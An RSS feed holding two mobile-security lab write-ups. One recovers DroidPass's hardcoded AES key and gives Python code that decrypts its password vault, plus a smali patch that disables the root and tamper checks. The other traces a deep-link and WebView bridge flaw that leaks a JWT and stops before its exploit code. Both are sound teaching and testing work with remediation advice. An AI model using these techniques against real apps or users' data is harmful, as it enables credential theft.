<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yehia Mahmoud on Medium]]></title>
        <description><![CDATA[Stories by Yehia Mahmoud on Medium]]></description>
        <link>https://medium.com/@ym5555940?source=rss-e4b997298b5f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*S5Lz5EYN3TXj_oCQ</url>
            <title>Stories by Yehia Mahmoud on Medium</title>
            <link>https://medium.com/@ym5555940?source=rss-e4b997298b5f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 22:03:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ym5555940/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Breaking DroidPass: Reverse Engineering a Flutter Password Vault’s AES Encryption]]></title>
            <link>https://medium.com/@ym5555940/breaking-droidpass-reverse-engineering-a-flutter-password-vaults-aes-encryption-0d16b73cdaa4?source=rss-e4b997298b5f------2</link>
            <guid isPermaLink="false">https://medium.com/p/0d16b73cdaa4</guid>
            <dc:creator><![CDATA[Yehia Mahmoud]]></dc:creator>
            <pubDate>Tue, 24 Nov 2026 12:42:00 GMT</pubDate>
            <atom:updated>2026-11-24T12:42:00.416Z</atom:updated>
            <content:encoded><![CDATA[<h3>Breaking DroidPass: Reverse Engineering a Flutter Password Vault’s AES Encryption</h3><p><em>A static reverse-engineering walkthrough of the 8kSec DroidPass Android challenge — recovering a hardcoded AES-256 key and IV from a Flutter/Dart AOT binary, and using them to decrypt a real password vault.</em></p><blockquote><strong><em>Disclaimer:</em></strong><em> This write-up documents a legitimate security research / CTF-style challenge (8kSec DroidPass). All testing was performed in a controlled lab environment against a purpose-built vulnerable application, with no real users or production data involved.</em></blockquote><h3>Introduction</h3><p>DroidPass markets itself as a “secure” Android password manager: AES encryption for stored credentials, root/emulator/tamper detection, and a clean Flutter UI for generating and saving passwords. The challenge objective is simple to state and hard to execute: <strong>statically reverse-engineer the APK to recover the exact base encryption key used to protect the password database — without any runtime hooking, instrumentation, or automated secret-extraction tooling.</strong></p><p>That restriction is the whole point of the exercise. It forces a reviewer to actually understand how the app’s cryptography is built, rather than just dumping a key at runtime with Frida.</p><h3>Objective</h3><ul><li>Identify how DroidPass derives its AES key and IV purely through static analysis of the compiled Flutter (Dart AOT) binary.</li><li>Reconstruct the derivation logic in Python.</li><li>Use the recovered key/IV to decrypt the on-device SQLite vault and validate the findings end-to-end.</li></ul><h3>Environment &amp; Tooling</h3><ul><li><strong>Target:</strong> DroidPass.apk (package com.eightksec.droidpass), Flutter-based Android app</li><li><strong>Analysis:</strong> JADX-GUI (Java/Kotlin layer), IDA Pro (native libapp.so disassembly/decompilation), Blutter (Dart AOT object-pool &amp; symbol recovery)</li><li><strong>Dynamic verification only (post static recovery):</strong> apktool, apksigner, adb, a rooted test device accessed over an SSH port-forward, frida-server (for environment prep, not for key extraction)</li><li><strong>Scripting:</strong> Python 3 with pycryptodome</li></ul><p>Since the test device wasn’t local, I tunneled ADB over SSH to reach it:</p><pre>ssh Yehiea@192.168.1.9 -L 5555:127.0.0.1:7555</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YChTTpsnnYQjjLNyhUJ--A.png" /></figure><p><em>Figure: SSH port-forward exposing the remote test device’s ADB interface locally.</em></p><p>and confirmed shell access, including a running frida-server in /data/local/tmp (useful for later environment checks, kept entirely separate from the static key-recovery work the challenge requires):</p><pre>a52sxq:/ # cd /data/local/tmp/<br>a52sxq:/data/local/tmp # ./frida-server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*t5KHaJVcjTn2BOUM4iI6tw.png" /></figure><p><em>Figure: ADB shell confirmed on the test device, with frida-server staged in /data/local/tmp for later environment checks (not used for key extraction).</em></p><h3>Step 1 — Triaging the APK</h3><p>A first pass in <strong>JADX-GUI</strong> shows heavy obfuscation (ProGuard/DexGuard-style) across MainActivity and SecurityModule, but only two meaningful classes exist in the decompiled Java tree. That&#39;s a strong signal: the real business logic — including encryption — lives in Flutter&#39;s Dart AOT snapshot (libapp.so), not in Java/Kotlin. The Java layer is just lifecycle glue (FlutterActivity) and a thin SecurityModule wrapper around three native checks:</p><pre>.method private final native checkAppTamperingNative(Ljava/lang/String;)Z<br>.end method<br>.method private final native checkRootNative()Z<br>.end method<br>.method private final native isEmulatorNative()Z<br>.end method</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2JRAhJm03N7G6cyppQbURA.png" /></figure><p><em>Figure: Decompiled SecurityModule.smali — the native checkRootNative/isEmulatorNative/checkAppTamperingNative bindings behind the client-side security gate.</em></p><p>These back SecurityModule.a() (tamper), .b() (root), .c() (emulator) — all client-side boolean checks. They don&#39;t protect the encryption key in any way; they only gate the UI (e.g., disabling the <em>Save</em> button on a &quot;rooted&quot; device). Since the challenge forbids dynamic extraction anyway, these checks are irrelevant to the actual key recovery — but they matter later, when I wanted to validate the findings on a real device.</p><h3>Step 2 — Pivoting to libapp.so</h3><p>libapp.so is the AOT-compiled Dart application code — the actual logic of a release-mode Flutter app. Loading it into IDA shows a stripped binary, but Dart&#39;s AOT compiler leaves readable strings behind, including full package: paths. Searching for encryption_service.dart leads straight to the relevant module:</p><pre>package:droid_pass/services/encryption_service.dart</pre><p>Running <strong>Blutter</strong> against the arm64-v8a slice of libapp.so rebuilds the Dart object pool and emits an IDA script (addNames.py) that restores meaningful symbol names across the binary. After applying it, the function list around EncryptionService becomes legible:</p><pre>droid_pass$services$encryption_service_EncryptionService__ctor_2856dc      0x2856DC   0x6B4<br>droid_pass$services$encryption_service_EncryptionService__decrypt_27b5a4   0x27B5A4   0x11C<br>droid_pass$services$encryption_service_EncryptionService__encrypt_393758   0x393758   0x78</pre><p>The constructor (0x6B4 bytes) is where the key/IV material is built — encrypt/decrypt are thin wrappers that simply consume whatever the constructor already set up. That makes the constructor the real target.</p><h3>Step 3 — Decoding the “obfuscated” constants</h3><p>Inside the constructor, IDA shows 27 immediate byte values being written into a GrowableArray:</p><pre>0x82, 0xE4, 0xBA, 0xCE, 0xC8, 0xBE, 0xC2, 0x82, 0x82,<br>0xA2, 0xAA, 0xE0, 0xCA, 0xE4, 0xA2, 0xCA, 0xC6, 0xE4,<br>0xCA, 0xE8, 0x96, 0xCA, 0xF2, 0x6A, 0x64, 0x66, 0x42</pre><p>None of these are printable ASCII, yet they’re later fed into String.fromCharCodes. The explanation is Dart&#39;s <strong>tagged Small Integer (Smi)</strong> representation: on 64-bit Dart, a small integer is stored as value &lt;&lt; 1, with the VM shifting it back (&gt;&gt; 1) whenever it unboxes the value as a real integer. So every constant here is simply a character code, pre-shifted left by one, waiting to be untagged.</p><p>Confirming this takes one line of Python:</p><pre>raw = [0x82, 0xE4, 0xBA, 0xCE, 0xC8, 0xBE, 0xC2, 0x82, 0x82,<br>       0xA2, 0xAA, 0xE0, 0xCA, 0xE4, 0xA2, 0xCA, 0xC6, 0xE4,<br>       0xCA, 0xE8, 0x96, 0xCA, 0xF2, 0x6A, 0x64, 0x66, 0x42]<br>chars = &#39;&#39;.join(chr(b &gt;&gt; 1) for b in raw)<br>print(chars)<br># &#39;Ar]gd_aAAQUperQecretKey523!&#39;</pre><p>The constructor splits those 27 characters into three groups of 9 (three separate sublist() + createFromCharCodes calls) and concatenates them back in order — [0,9) + [9,18) + [18,27) — to rebuild one base string: <strong>Ar]gd_aAAQUperQecretKey523!</strong>. The &quot;obfuscation&quot; here isn&#39;t a deliberate protection layer — it&#39;s just an artifact of how the Dart AOT compiler emits small-integer literals. It does, however, explain why a naive strings dump never reveals the key.</p><h3>Step 4 — Key and IV derivation</h3><p>Following the constructor further:</p><ul><li><strong>AES-256 key</strong> = SHA-256(UTF8(base_string))</li><li><strong>IV</strong> = first 16 bytes of SHA-256(UTF8(base_string + &quot;IV_SALT&quot;)), where &quot;IV_SALT&quot; is a second constant pulled straight from the Dart object pool (pp.txt, offset 0xe918)</li><li><strong>Mode:</strong> AES-CBC with PKCS7 padding — confirmed directly from the object pool entry for AESMode (&quot;cbc&quot;) and the padding string &quot;PKCS7&quot;</li></ul><p>Everything needed to reproduce the cipher is deterministic and baked into the binary — no device-bound secret, no Keystore, no user input involved.</p><h3>Step 5 — Reproducing the derivation in Python</h3><p>I rebuilt the whole pipeline as a small, self-contained PoC (main.py), split across three helper modules mirroring the stages reversed above:</p><p><strong>smi.py</strong> — Smi decoding and chunk reassembly:</p><pre># Decode Smi-tagged constants back to characters, and<br># reassemble the 3x9-character chunks into the base string.<br>def decode_constants_to_chars(raw_constants): ...<br>def split_and_join_chunks(chars, chunk_size, num_chunks): ...<br>def verify_declared_length(declared_smi, actual_len): ...</pre><p><strong>key_derivation.py</strong> — SHA-256-based key/IV derivation:</p><pre>def derive_key(base_string: str) -&gt; bytes: ...<br>def derive_iv(base_string: str, salt: str) -&gt; bytes: ...</pre><p><strong>crypto_ops.py</strong> — AES-CBC/PKCS7 decryption wrapper around pycryptodome:</p><pre>def aes_cbc_decrypt(key: bytes, iv: bytes, ciphertext_b64: str) -&gt; bytes: ...</pre><p><strong>main.py</strong> ties it together, recovering the base string, deriving the key/IV, and either decrypting a hardcoded sample ciphertext or a live DroidPass.db file:</p><pre>RAW_CONSTANTS = [<br>    0x82, 0xE4, 0xBA, 0xCE, 0xC8, 0xBE, 0xC2, 0x82, 0x82,<br>    0xA2, 0xAA, 0xE0, 0xCA, 0xE4, 0xA2, 0xCA, 0xC6, 0xE4,<br>    0xCA, 0xE8, 0x96, 0xCA, 0xF2, 0x6A, 0x64, 0x66, 0x42<br>]<br>DECLARED_LENGTH_SMI = 0x36   # 54 &gt;&gt; 1 = 27 real elements<br>CHUNK_SIZE, NUM_CHUNKS = 9, 3<br>IV_SALT = &quot;IV_SALT&quot;</pre><pre>def extract_base_string() -&gt; str:<br>    verify_declared_length(DECLARED_LENGTH_SMI, len(RAW_CONSTANTS))<br>    chars = decode_constants_to_chars(RAW_CONSTANTS)<br>    return split_and_join_chunks(chars, CHUNK_SIZE, NUM_CHUNKS)</pre><pre>def derive_key_and_iv():<br>    base_string = extract_base_string()<br>    key = derive_key(base_string)<br>    iv = derive_iv(base_string, IV_SALT)<br>    return base_string, key, iv</pre><pre>def decrypt_database(db_path: str, key: bytes, iv: bytes):<br>    conn = sqlite3.connect(db_path)<br>    cur = conn.cursor()<br>    cur.execute(&quot;SELECT id, service, password, created_at FROM passwords;&quot;)<br>    for row_id, service_ct, password_ct, created_at in cur.fetchall():<br>        service = aes_cbc_decrypt(key, iv, service_ct).decode(&#39;utf-8&#39;, errors=&#39;replace&#39;)<br>        password = aes_cbc_decrypt(key, iv, password_ct).decode(&#39;utf-8&#39;, errors=&#39;replace&#39;)<br>        print(f&quot;    [{row_id}] service={service:30s} password={password:20s} created_at={created_at}&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fwO9kDY59y0Dq93W_usO5g.png" /></figure><p><em>Figure: main.py (top) — imports, the 27 Smi-tagged constants recovered from the EncryptionService constructor, and extract_base_string().</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_kO3VmV2TsRLOdLJZ2KBSQ.png" /></figure><p><em>Figure: main.py (continued) — derive_key_and_iv(), the hardcoded sample-ciphertext decryptor, and the start of decrypt_database().</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hoWuGMowjq87aGJoTLQnYg.png" /></figure><p><em>Figure: main.py (continued) — decrypt_database(), querying the passwords table and decrypting each row with the derived key/IV.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u5bZVtYyDBpuywvMdg6EPQ.png" /></figure><p><em>Figure: main.py — the CLI entry point wiring key/IV derivation to either sample or live database decryption.</em></p><h3>Step 6 — Validating against a live device (optional, out-of-scope for the static solve)</h3><p>The challenge is solved purely through static analysis — but to sanity-check the derivation end-to-end, I set up a controlled dynamic test. Since SecurityModule.a()/b()/c() are plain client-side booleans, I patched their smali to always return false, neutralizing the tamper/root/emulator gate on the <em>Save</em> button only — no cryptographic logic was touched:</p><pre>.method public final a()Z<br>    .locals 1<br>    const/4 v0, 0x0<br>    return v0<br>.end method</pre><p>After rebuilding with apktool b, the APK needed a fresh signing identity (keytool -genkeypair) and apksigner sign. The first signing round failed because the rebuilt APK was pushed before being resigned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MWmgjhUn0nSQ3638Wy0hIg.png" /></figure><p><em>Figure: First signing attempt failed — missing manifest — followed by generating a fresh keystore with keytool to re-sign the patched APK.</em></p><pre>$ apksigner verify --verbose ~/PatchedDroidPass.apk<br>DOES NOT VERIFY<br>ERROR: Missing META-INF/MANIFEST.MF</pre><p>After generating a proper keystore and re-signing, verification passed across v1–v3 schemes:</p><pre>$ apksigner verify --verbose PatchedDroidPass-signed.apk<br>Verifies<br>Verified using v1 scheme (JAR signing): true<br>Verified using v2 scheme (APK Signature Scheme v2): true<br>Verified using v3 scheme (APK Signature Scheme v3): true<br>Number of signers: 1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*quBBZnjvJ6rz7gAcMrny1w.png" /></figure><p><em>Figure: Patched APK successfully signed and verified across the v1–v3 signature schemes.</em></p><p>With the patched, signed APK installed on the test device (multiple emulator instances required targeting the device explicitly via -s 127.0.0.1:5555), the <em>Save</em> button became available. I generated and saved two credentials through the app&#39;s own UI — the built-in Password Generator — to produce a realistic, freshly-encrypted vault:</p><ul><li>Gmail → generated password</li><li>ym940@gmail.com → generated password</li></ul><p>Both entries appeared under <strong>Saved Passwords</strong> in the app, confirming they were written to the local SQLite store through DroidPass’s normal encryption path — the same path whose key I had already recovered statically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9NGbW8zPUOSuSmwnWbCtbg.png" /></figure><p><em>Figure: DroidPass’s built-in Password Generator, used to create a fresh credential through the app’s own save flow.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xX0pbh_KNtz_ZUjEKAXaxQ.png" /></figure><p><em>Figure: The newly generated Gmail credential listed under Saved Passwords in the running (patched) app.</em></p><h3>Step 7 — Pulling and decrypting the vault</h3><p>The database sits at the standard Flutter app-data path:</p><pre>adb -s 127.0.0.1:5555 pull /data/data/com.eightksec.droidpass/app_flutter/DroidPass.db ./</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*FEXVcNbiOWEujczOgBGzQw.png" /></figure><p><em>Figure: Pulling the live DroidPass.db from the app’s sandbox after saving test credentials.</em></p><p>With pycryptodome installed:</p><pre>pip install pycryptodome --break-system-packages</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OUd89AyQVVmr8KPfj-VMMg.png" /></figure><p><em>Figure: pycryptodome installed, and the PoC’s first successful run decrypting the initial Gmail entry.</em></p><p>running the PoC against the pulled database reproduced the full derivation and decrypted every row:</p><pre>$ python3 main.py --db DroidPass.db<br>[*] Reproducing EncryptionService static key/IV derivation ...</pre><pre>[+] Recovered base string : &#39;Ar]gd_aAAQUperQecretKey523!&#39;<br>[+] AES-256 key (hex)     : e4ac9226ebb81bb59085c62d92ba8a1d404e136d15ae44b375e231b3e0aeb484<br>[+] AES-CBC IV  (hex)     : d7485ec072002b6218a84d1478ad8ac0</pre><pre>[+] Decrypting database: DroidPass.db<br>    [1] service=&#39;Gmail&#39;              password=&#39;oR6=!M1&lt;@gkOVZ/h&#39;   created_at=2026-11-24T04:11:23.749339<br>    [2] service=&#39;ym940@gmail.com&#39;    password=&#39;m07*4L9#1l9,xE]m&#39;   created_at=2026-11-24T05:26:51.703895</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0wuXWLlwRCmftClg0O0ktg.png" /></figure><p><em>Figure: Final run against the two-entry database — both credentials decrypt correctly, confirming the static derivation.</em></p><p>Both rows decrypted cleanly on the first attempt, with padding validating correctly — strong confirmation that the recovered key, IV, mode, and padding scheme are all exact matches for what EncryptionService uses at runtime. Mission complete, entirely through static analysis of the AOT binary.</p><h3>Root Cause</h3><p>DroidPass’s encryption is built entirely on secrets embedded as literal constants inside the compiled application:</p><ul><li>The AES-256 key is SHA-256 of a string hardcoded in libapp.so.</li><li>The IV is SHA-256 of that same string plus a second hardcoded salt (&quot;IV_SALT&quot;).</li><li>Neither value depends on anything the attacker doesn’t already have (the APK itself).</li></ul><p>The only thing standing between “readable strings” and “readable key” is Dart’s Smi tagging scheme — an implementation detail of the AOT compiler, not a deliberate security control. Compiling to native code, stripping symbols, and applying obfuscation all raise the <em>cost</em> of analysis, but none of them change the fundamental fact: <strong>a key derived only from data shipped inside the app is not a secret.</strong> Anyone who can read the APK can derive the same key and decrypt every vault produced by the app.</p><h3>Impact</h3><ul><li>Full offline decryption of any DroidPass database pulled from a device (rooted, backed up, or otherwise exfiltrated), without needing the user’s device PIN, biometrics, or any server interaction.</li><li>Because the key is static and global to the app binary, this affects <strong>every installation</strong> of a given build — not just one compromised device.</li></ul><h3>Recommendations</h3><ul><li><strong>Use the Android Keystore (StrongBox/TEE-backed where available)</strong> to generate and hold the AES key; never derive cryptographic material purely from constants embedded in the binary.</li><li><strong>Bind key derivation to a user secret</strong> (PIN/passphrase/biometric-gated key) so the key cannot be reconstructed from the APK alone.</li><li><strong>Avoid static, reusable IVs</strong> derived from the same deterministic source as the key — use a properly random IV generated per encryption operation (standard for CBC) and store it alongside the ciphertext.</li><li><strong>Treat client-side root/tamper/emulator checks as UX signals only</strong>, never as a security boundary — they are trivially patchable in smali and provide no protection for key material.</li><li><strong>Assume AOT-compiled binaries are reversible.</strong> Dart AOT snapshots, Smi tagging, and object-pool layouts are well documented (see Blutter, mrale.ph) — obfuscation slows down analysis, it does not stop it.</li></ul><h3>Conclusion</h3><p>DroidPass is a clean illustration of a recurring mobile-security anti-pattern: compiled code and obfuscation are mistaken for key management. With a methodical static workflow — JADX for the Java shell, IDA + Blutter for the Dart AOT core, and a careful read of the EncryptionService constructor — the entire encryption scheme folds: a 27-byte Smi-tagged constant becomes a human-readable base string, two SHA-256 calls yield the AES key and IV, and the vault opens. The lesson holds well beyond this one challenge: if a secret&#39;s only protection is that it&#39;s hard to read in a disassembler, it isn&#39;t protected at all.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0d16b73cdaa4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Token Bleed — Mobile Hacking Lab Write-Up]]></title>
            <link>https://medium.com/@ym5555940/token-bleed-mobile-hacking-lab-write-up-87de86a98189?source=rss-e4b997298b5f------2</link>
            <guid isPermaLink="false">https://medium.com/p/87de86a98189</guid>
            <dc:creator><![CDATA[Yehia Mahmoud]]></dc:creator>
            <pubDate>Fri, 10 Apr 2026 08:28:09 GMT</pubDate>
            <atom:updated>2026-04-10T08:28:09.504Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Deep Link Hijacking · WebView JS Bridge · JWT Exfiltration</em></p><h3>Challenge Overview</h3><ul><li><strong>Platform:</strong> Android</li><li><strong>Package:</strong> com.mobilehackinglab.exchange</li><li><strong>Vulnerability:</strong> Deep Link + Unvalidated URL + WebView JavaScript Bridge</li><li><strong>Severity:</strong> 🔴 CRITICAL</li><li><strong>Flag:</strong> MHL{w3bv1ew_br1dg3_pwned_gg}</li></ul><h3>Table of Contents</h3><ol><li>Introduction</li><li>Step 1 — Android Manifest Analysis</li><li>Step 2 — Exploring SplashActivity</li><li>Step 3 — Exploring LoginActivity</li><li>Step 4 — Vulnerable handleIntent() in MainActivity</li><li>Step 5 — DWebViewActivity &amp; JsApi Bridge</li><li>Step 6 — Identifying the JS Bridge</li><li>Step 7 — Attack Scenario</li><li>Step 8 — Exploitation</li><li>Remediation</li><li>Conclusion</li></ol><h3>Introduction</h3><p>Hello! In this write-up I’ll walk through my complete solution for the <strong>Token Bleed</strong> challenge from <strong>Mobile Hacking Lab</strong>. The challenge demonstrates a real-world attack class: chaining a deep link vulnerability with a WebView JavaScript bridge to silently steal an authenticated user’s JWT token.</p><p>The attack exploits three weaknesses in combination:</p><ul><li>An <strong>exported SplashActivity</strong> that handles the mhlcrypto:// custom deep link scheme</li><li>An <strong>unvalidated URL parameter</strong> passed through handleIntent() into DWebViewActivity</li><li>A <strong>@JavascriptInterface method</strong> (getUserAuth) that returns the stored JWT to any page — regardless of origin</li></ul><h3>Step 1 — Android Manifest Analysis</h3><p>The first step after installing the app is to inspect the AndroidManifest.xml. This reveals permissions, exported components, and registered intent filters — the full attack surface map.</p><h3>Permissions</h3><p>The app declares the following permissions, including a custom signature-protected permission:</p><pre>// AndroidManifest.xml — Permissions<br>&lt;uses-permission android:name=&quot;android.permission.INTERNET&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.WRITE_EXTERNAL_STORAGE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.ACCESS_NETWORK_STATE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.ACCESS_WIFI_STATE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.READ_PHONE_STATE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.READ_EXTERNAL_STORAGE&quot;/&gt;<br>&lt;permission<br>    android:name=&quot;com.mobilehackinglab.exchange.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;<br>    android:protectionLevel=&quot;signature&quot;/&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*f6FtleWuSxc2Zau995B7hw.png" /></figure><p><em>Fig 1 — AndroidManifest.xml: declared permissions and custom signature-protected permission</em></p><h3>Activities</h3><p>The manifest registers four activities. SplashActivity is the only exported one — it registers a BROWSABLE intent-filter for the custom mhlcrypto:// scheme, making it reachable from any browser, QR code, SMS, or another app:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*CNTHlVojiuaRzsTs8cWgUg.png" /></figure><p><em>Fig 2 — AndroidManifest.xml: four activities — SplashActivity exported with mhlcrypto:// deep link intent-filter</em></p><pre>// AndroidManifest.xml — Activity declarations<br>&lt;activity<br>    android:name=&quot;com.mobilehackinglab.exchange.SplashActivity&quot;<br>    android:exported=&quot;true&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.MAIN&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;<br>        &lt;data android:scheme=&quot;mhlcrypto&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/activity&gt;<br>&lt;activity android:name=&quot;...LoginActivity&quot;     android:exported=&quot;false&quot;/&gt;<br>&lt;activity android:name=&quot;...MainActivity&quot;      android:exported=&quot;false&quot;/&gt;<br>&lt;activity android:name=&quot;...DWebViewActivity&quot;  android:exported=&quot;false&quot;/&gt;</pre><blockquote><strong><em>🔍 Key Finding</em></strong><em> — SplashActivity is the only exported activity. It registers android:exported=”true” and handles the mhlcrypto:// custom URI scheme. The BROWSABLE category means this link can be triggered from any browser, QR code, SMS, or installed app — making it the entry point for our attack.</em></blockquote><h3>Step 2 — Exploring SplashActivity</h3><p>SplashActivity acts as the app&#39;s gate. On launch it checks whether a valid token exists via TokenManager.getToken() and routes accordingly:</p><ul><li>Token exists → redirect to MainActivity</li><li>No token → redirect to LoginActivity</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lv518UKnHk0in3oRl4QZbA.png" /></figure><p><em>Fig 3 — SplashActivity: token check routes user to MainActivity or LoginActivity</em></p><pre>// SplashActivity.onCreate() — token-based routing<br>if (new TokenManager(applicationContext).getToken() != null) {<br>    intent = new Intent(this, MainActivity.class);<br>    intent.setData(getIntent().getData());<br>    intent.setAction(getIntent().getAction()); // ← preserves deep link data!<br>} else {<br>    intent = new Intent(this, LoginActivity.class);<br>}<br>startActivity(intent);<br>finish();</pre><blockquote><strong><em>💡 Important</em></strong><em> — When the user is already logged in, SplashActivity forwards the original intent — including the full deep link URI data and action — to MainActivity. This is the mechanism that carries our attacker-controlled URL all the way into handleIntent().</em></blockquote><h3>Step 3 — Exploring LoginActivity</h3><p>LoginActivity handles credential input. When the login button is tapped it collects the email and passes it through the authentication flow. On success, the returned JWT is stored locally in TokenManager via shared preferences — this is the token our exploit will steal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RUfz05401A9bXcKPLzuWDw.png" /></figure><p><em>Fig 5 — LoginActivity: button click handler and credential collection flow</em></p><blockquote><strong><em>📌 Note</em></strong><em> — Enter any email and password to log in for the first time. The app accepts any credentials and issues a JWT stored locally. This is the token the exploit will exfiltrate.</em></blockquote><h3>Step 4 — Vulnerable handleIntent() in MainActivity</h3><p>MainActivity calls handleIntent() inside onCreate(). This function processes incoming deep links and is where the root vulnerability lives.</p><h3>The Vulnerable Function</h3><p>The function chains three checks before redirecting to DWebViewActivity:</p><ol><li>Intent action must equal android.intent.action.VIEW</li><li>URI scheme must equal mhlcrypto</li><li>URI host must equal showPage AND the url query parameter must exist</li></ol><p>Critically, there is <strong>zero validation on the actual value</strong> of the url parameter — any https:// URL passes through unchecked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wRSfbdHtcBvivZOIb8DxCQ.png" /></figure><p><em>Fig 4 — handleIntent(): deep link parsing with unvalidated URL redirect to DWebViewActivity</em></p><pre>// MainActivity.handleIntent() — annotated<br>private final void handleIntent(Intent intent) {<br>    String queryParameter;</pre><pre>    // Check 1: Intent action must be VIEW<br>    if (Intrinsics.areEqual(intent.getAction(), &quot;android.intent.action.VIEW&quot;)) {<br>        Uri data = intent.getData();</pre><pre>        // Check 2: URI scheme must be &quot;mhlcrypto&quot;<br>        if (Intrinsics.areEqual(data != null ? data.getScheme() : null, &quot;mhlcrypto&quot;)) {<br>            Uri data2 = intent.getData();</pre><pre>            // Check 3: host == &quot;showPage&quot; AND ?url= param must exist<br>            if (!Intrinsics.areEqual(&quot;showPage&quot;, data2.getHost()) ||<br>                (queryParameter = data2.getQueryParameter(&quot;url&quot;)) == null) {<br>                return;<br>            }</pre><pre>            // ⚠️  NO validation on the URL value — attacker-controlled!<br>            Intent intent2 = new Intent(this, DWebViewActivity.class);<br>            intent2.putExtra(&quot;url_to_load&quot;, queryParameter);<br>            startActivity(intent2);<br>        }<br>    }<br>}</pre><blockquote><strong><em>⚠️ ⚠ Vulnerability</em></strong><em> — handleIntent() validates only the scheme (mhlcrypto://) and host (showPage). It performs no validation on the value of the url query parameter. Any https:// URL — including attacker-controlled endpoints — is passed directly into DWebViewActivity via putExtra(“url_to_load”, queryParameter).</em></blockquote><h3>Step 5 — DWebViewActivity &amp; JsApi Bridge</h3><p>DWebViewActivity receives the URL via the url_to_load intent extra and loads it in a DWebView with JavaScript enabled. A @JavascriptInterface object called JsApi is attached — exposing native Android methods directly to any JavaScript running in the WebView.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DegyFiV5UdMcdqRJFKaETw.png" /></figure><p><em>Fig 6 — DWebViewActivity: JsApi JavascriptInterface — getUserAuth() and openNewWindow() exposed to the WebView</em></p><h3>JsApi — getUserAuth()</h3><p>The critical method. It calls TokenManager.getToken() and delivers the full JWT to the JavaScript callback — <strong>with no origin check of any kind</strong>:</p><pre>// JsApi.java — getUserAuth (no origin check!)<br>@JavascriptInterface<br>public final void getUserAuth(Object args, CompletionHandler&lt;Object&gt; handler) {<br>    Intrinsics.checkNotNullParameter(handler, &quot;handler&quot;);<br>    String token = new TokenManager(this.context).getToken();<br>    if (token != null) {<br>        // ⚠️  Returns full JWT to ANY page — no origin check<br>        handler.complete(new JSONObject(token));<br>    } else {<br>        handler.complete(new JSONObject().put(&quot;error&quot;, &quot;No token found&quot;));<br>    }<br>}</pre><pre>// JsApi.java — openNewWindow (only http prefix check, no domain allowlist)<br>@JavascriptInterface<br>public final void openNewWindow(Object args) {<br>    if (args instanceof JSONObject) {<br>        String url = ((JSONObject) args).optString(&quot;url&quot;);<br>        if (url.length() &lt;= 0 || !StringsKt.startsWith(url, &quot;http&quot;, false)) return;<br>        Intent intent = new Intent(this.context, DWebViewActivity.class);<br>        intent.putExtra(&quot;url_to_load&quot;, url);<br>        this.context.startActivity(intent);<br>    }<br>}</pre><blockquote><strong><em>⚠️ ⚠ Vulnerability</em></strong><em> — getUserAuth() returns the JWT to any JavaScript caller with zero origin validation. Any page — including an attacker-hosted external page — loaded in this WebView can call this method and receive the user’s full authentication token.</em></blockquote><h3>Step 6 — Identifying the JS Bridge</h3><p>When a @JavascriptInterface is found, three things must be confirmed before writing exploit code:</p><ol><li><strong>Bridge name:</strong> _dsbridge — from the DWebView class</li><li><strong>How JS calls it:</strong> window.dsBridge.call() or window._dsbridge — the library is dsbridge@3.1.4 loaded via CDN</li><li><strong>Callable methods:</strong> getUserAuth() and openNewWindow()</li></ol><p>Inspecting the app’s internal help-center WebView page confirmed the exact CDN URL and the call pattern used by the app’s own code 